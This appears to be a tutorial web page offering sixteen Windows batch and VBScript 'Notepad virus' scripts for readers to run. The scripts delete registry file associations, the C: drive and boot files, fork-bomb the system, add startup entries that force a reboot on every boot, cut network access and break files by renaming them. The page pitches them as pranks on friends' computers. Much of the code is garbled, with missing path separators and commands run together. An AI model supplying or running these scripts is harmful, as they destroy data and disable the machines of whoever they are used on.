Some Crazy Viruses !

Create Notepad Virus Executable(.exe) Using Bash Scripting

First of all, you need a Windows PC, obviously.  😉

For this tutorial to create simple Notepad Virus you don’t need to be a die-hard programmer or something like that, but a basic knowledge of flow charts and loops helps you a lot to understand what’s going on here. So let’s start to create a trojan virus using notepad to run via command prompt(cmd) in Windows 10, 8/8.1, 7 or XP.

 

Now, Open the Notepad application and Copy (Ctrl+C) and Paste (Ctrl+V) the codes given below one by one for the different virus in a different file.

Note: I am not responsible for any damage or error reporting on Your PC, do it at your own risk.

Warning: Do not try this on your daily working PC.

Notepad Virus source codes are Given below:

1. Disable Internet Permanently

This code will disable the internet connectivity permanently.

echo @echo off>c:windowswimn32.bat
echo break off>c:windowswimn32.bat echo
ipconfig/release_all>c:windowswimn32.bat
echo end>c:windowswimn32.batreg add
hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add
hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED!
PAUSE

2. Delete Key Registry Files

This will delete key registry files, then loops a message

This is dangerous and unrecoverable Notepad Virus.

@ECHO OFF
 START reg delete HKCR/.exe
 START reg delete HKCR/.dll
 START reg delete HKCR/*
 :MESSAGE
 ECHO Your PC has been crashed.Your Dad.
 GOTO MESSAGE

3. Endless Notepads

This will pop up endless notepads until the computer freezes and crashes

@ECHO off
 :top
 START %SystemRoot%\system32\notepad.exe
 GOTO top

4. Popping CD Drives

This will make the CD drives constantly pop out

Set oWMP = CreateObject(”WMPlayer.OCX.7″)
 Set colCDROMs = oWMP.cdromCollection
 do
 if colCDROMs.Count >= 1 then
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 End If
 wscript.sleep 100
 loop

5. Endless Enter

This will make the enter button pressed continuously

Set wshShell = wscript.CreateObject(”WScript.Shell”)
 do
 wscript.sleep 100
 wshshell.sendkeys “~(enter)”
 loop

6. Application Bomber

It will start to open different applications repeatedly which will affect the system’s performance.

You can also add the application of your choice in the above code.

@echo off
 :x
 start winword
 start mspaint
 start notepad
 start write
 start cmd
 start explorer
 start control
 start calc
 goto x

7.Folder Flooder

This will create unlimited no. of folders.

@echo off
:x
md %random%
/folder.
goto x

8.User Account Flooder

This will create large no. of the user account on one’s PC and goes on

@echo off
:xnet
user %random% /add
goto x

9.Process Creator

This will create unlimited background processes

%0|%0

10.Windows Hacker

This will delete your whole C:\ drive and it really unrecoverable

@Echo off
Del C:\ *.* |y

11.Convey  your friend a little message and shut down his/her computer

This will shut down system automatically

@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

12.This will crash your computer

Option Explicit
Dim WSHShell
Set
WSHShell=Wscript.CreateObject("Wscript.Shell") 
Dim x
For x = 1 to
100000000
WSHShell.Run
"Tourstart.exe"
Next

13.Virus that crashes PC

@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini
@echo off
msg * YOU GOT OWNED!!!
shutdown -s -t 7 -c "A VIRUS IS TAKING OVER c:Drive

14.Shutdowns Computer Everytime It is Turned On

echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v /t reg_sz /d c:windowshartlell.bat /f
echo You have been HACKED.
PAUSE

15.Change Files to Non-working .txt Files

REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT

16.System Meltdown

:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH
ipconfig /release
shutdown -r -f -t0
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v HAHAHA /t reg_sz /d c:windowshartlell.bat /f
echo You Have Been Hackedecho @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo YOU HAVE BEEN HACKED BITCH
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT

PAUSE

PAUSE

Save As A bat File